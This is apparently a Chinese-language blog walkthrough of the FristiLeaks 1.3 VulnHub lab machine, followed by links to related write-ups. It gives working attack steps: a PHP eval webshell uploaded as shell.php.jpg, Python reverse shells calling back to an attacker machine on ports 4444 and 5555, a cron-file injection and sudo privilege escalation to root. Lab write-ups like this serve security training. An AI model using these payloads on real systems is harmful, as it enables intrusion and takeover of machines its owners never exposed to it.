一、靶机搭建

选择扫描虚拟机

选择路径即可

二、信息收集

靶机信息

产品名称:Fristileaks 1.3
作者:Ar0xA
发布日期: 2015 年 12 月 14 日
目标:获取root(uid 0)并读取标志文件 #UID为0,即root权限
难度:初级
说明: 一个为荷兰非正式黑客聚会Fristileaks制作的小型虚拟机。意味着可以在几个小时内破解,而不需要调试器、逆向工程等。。

扫ip

靶机ip:192.168.108.149

扫开放端口

只开放了一个80端口

扫版本服务信息

信息如下:

80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)

指纹探测

nmap 192.168.108.149 -p 80 -sV -sC -O --version-all

信息如下:

运行版本: Linux 2.6.X|3.X|4.X (97%), Drobo embedded (89%), Synology DiskStation Manager 5.X (89%), LG embedded (88%), Tandberg embedded (88%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/h:drobo:5n cpe:/a:synology:diskstation_manager:5.2
Aggressive OS guesses: Linux 2.6.32 - 3.10 (97%), Linux 2.6.32 - 3.13 (97%), Linux 2.6.39 (94%), Linux 2.6.32 - 3.5 (92%), Linux 3.2 (91%), Linux 3.2 - 3.16 (91%), Linux 3.2 - 3.8 (91%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.9 (91%)

目录扫描

dirb扫描

dirsearch扫描

信息如下:

http://192.168.108.149/robots.txt
http://192.168.108.149/index.php

三、Web渗透

信息收集

看看80端口,给了个提示,应该在4个小时完成

访问之前扫描出来的robots.txt,给了下面的提示

逐个访问都是下面的提示

这里根据一开始页面的信息,试了fristi目录,是一个登录页面

看看源码,意思是源码的图片使用base64加密,并且放了一些信息,作者:eezeepz,这个作者很重要

翻到下面是一串base64编码,解码过来是图片转过来的

利用随波逐流转换成图片

得到下面的信息,keKkeKKeKKeKkEkkEk,应该是密码

登录

登录成功

文件上传

点击上传文件,先上传一个php后缀木马,发现只允许上传图片格式

这里利用 shell.php.jpg上传,实际上会被服务器认为是jpg文件,但是会解析php内容

track
<?php @eval($_POST["a"]);?>

访问成功

执行一下系统命令

python反弹shell

代码如下

url/fristi/uploads/shell.php.jpg?a=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.108.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

反弹成功

四、提权

信息收集

找找可以利用的信息

进入home目录看看,在提权的时候,没有什么头绪就可以去home目录和tmp目录下看看,发现三个目录,进入eezeepz看看

ls -la查看一下,发现一个notes.txt文件

查看该文本

如下

我让你可以做一些自动检查,但我只允许您访问/usr/bin/*系统二进制文件。
然而,我确实复制了一些额外的经常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,这样您就可以使用它们了
来自/home/admin/
不要忘记为每个二进制文件指定完整路径!
只需在/tmp/中放入一个名为“runthis”的文件,每行一个命令。这个输出转到/tmp/中的文件“cronresult”。它应该以我的帐户权限每分钟运行一次。

反向shell+脚本解密

这里的意思应该是只能利用 /usr/bin目录下的文件,要求在/tmp目录下放一个runthis文件,以amdin权限每分钟运行一次,写一个脚本

这是一个反向shell脚本

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.108.130",5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

开启web服务

进入tmp目录,将其下载下来

将1.py执行的结果输入到runthis,即每分钟在该目录下执行一次

echo '/usr/bin/python /tmp/1.py' > runthis

这里开启监听,不过需要等一会,链接成功

先用python切换为交互模式,发现两个文本还有一个可能是用户名fristigod

信息如下,是某种加密而且做了逆向输出

cryptedpass.txt:mVGZ3O3omkJLmy2pcuTq
whoisyourgodnow.txt:=RFn0AKnlMHMPIzpyuTI0ITG

看看加密脚本

#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13') cryptoResult=encodeString(sys.argv[1])
print cryptoResult

写一个解密脚本2.py

import base64,codecs,sys

def decodeString(str):
base64string= codecs.decode(str,'rot13')
return base64.b64decode(base64string[::-1]) cryptoResult=decodeString(sys.argv[1])
print cryptoResult

赋予权限并执行

执行

得到以下信息

thisisalsopw123
LetThereBeFristi!

链接新用户

链接fristigod用户,尝试上面的密码

执行成功,找找可以信息,发现一处任何用户都可以执行的脚本

直接以当前用户执行它并赋予bash权限

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

提权成功

找找flag在那,成功发现

Vulnhub-FristiLeaks_1.3的更多相关文章

  1. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  2. 【Vulnhub】FristiLeaks v1.3

    靶机信息 下载连接 https://download.vulnhub.com/fristileaks/FristiLeaks_1.3.ova.torrent https://download.vuln ...

  3. vulnhub writeup - 持续更新

    目录 wakanda: 1 0. Description 1. flag1.txt 2. flag2.txt 3. flag3.txt Finished Tips Basic Pentesting: ...

  4. Vulnhub Breach1.0

    1.靶机信息 下载链接 https://download.vulnhub.com/breach/Breach-1.0.zip 靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/C ...

  5. HA Joker Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-joker,379/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.132Starti ...

  6. HA: ISRO Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-isro,376/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202.131Startin ...

  7. LAMPSecurity: CTF6 Vulnhub Walkthrough

    镜像下载地址: https://www.vulnhub.com/entry/lampsecurity-ctf6,85/ 主机扫描: ╰─ nmap -p- -sV -oA scan 10.10.202 ...

  8. Hacker Fest: 2019 Vulnhub Walkthrough

    靶机地址: https://www.vulnhub.com/entry/hacker-fest-2019,378/ 主机扫描: FTP尝试匿名登录 应该是WordPress的站点 进行目录扫描: py ...

  9. DC8: Vulnhub Walkthrough

    镜像下载链接: https://www.vulnhub.com/entry/dc-8,367/#download 主机扫描: http://10.10.202.131/?nid=2%27 http:/ ...

  10. HA: Infinity Stones Vulnhub Walkthrough

    下载地址: https://www.vulnhub.com/entry/ha-infinity-stones,366/ 主机扫描: 目录枚举 我们按照密码规则生成字典:gam,%%@@2012 cru ...

随机推荐

  1. 【C#】【平时练习】将左边列表框(List)的内容(月份)添加到右边列表框。最终右侧显示的内容(月份)要保持一定顺序

    Aspx - 点击查看代码 <%@ Page Language="C#" AutoEventWireup="true" CodeBehind=" ...

  2. 如何用source和source结合cat << EOF 和EOF )实现template.txt模板文件变量的替换

    使用 source 和 cat << EOF 来实现 template.txt 模板文件变量的替换,你可以按照以下步骤操作: 创建 config.env 文件:包含变量定义. 创建 tem ...

  3. pygame基础功能总结

    1.导入Pygame模块 (1) 模块并初始化 ① Import pygame ② Pygame.init() (2) 创建窗体 ① Window_size = (800,600)  长宽 ② Scr ...

  4. Qt数据库应用10-通用数据库设置

    一.前言 做过了众多的项目,只要是用了数据库的项目,基本上还有一个需求就是,提供一个界面用来初始化数据库,相当于恢复出厂设置的数据,一般恢复出厂设置需要复位的是配置文件.数据库文件.布局文件这几种,其 ...

  5. Qt编写地图综合应用12-路线查询

    一.前言 路线查询的功能只有在线地图才有,因为这个路线规划需要经常更新的,这个数据同步需要大量的人力物力去统计,所以这玩意必须放在服务器端,就算是类似于手机端一样的放在本地离线,也需要隔一段时间更新的 ...

  6. 即时通讯技术文集(第10期):IM通信协议该选TCP还是UDP [共12篇]

    为了更好地分类阅读52im.net 总计1000多篇精编文章,我将在每周三推送新的一期技术文集,本次是第10 期. [-1-] 简述传输层协议TCP和UDP的区别 [链接] http://www.52 ...

  7. UML之发现用例

    用例是最简单的UML元素,用例图是最简单的UML图,但它也可能是UML中最有用的元素之一.尽管我们用包将工作分解为工作包.团队任务或单项任务,也就是说包是组织UML中的各种图及元素的工具.但是用例图可 ...

  8. Map中经常被忽略但又非常好用的方法

    1. 简介 map是我们日常开发中常会的集合类之一, 但是我们除了常用的get和put之外,其他的方法好像很少会用到,接下来我们就介绍一下几个经常被忽略但又很好用的方法. 2. Quick Start ...

  9. IntelliJ IDEA2020永久激活破解教程(无限试用)

    IntelliJ IDEA2020激活破解教程(无限试用) 鉴于想拥有一个十分舒适的编程环境,我特意将自己的电脑运行内存从4G扩展到12G,加装一个256G的固态作为C盘,并且将系统升级为Window ...

  10. 159:更改shell环境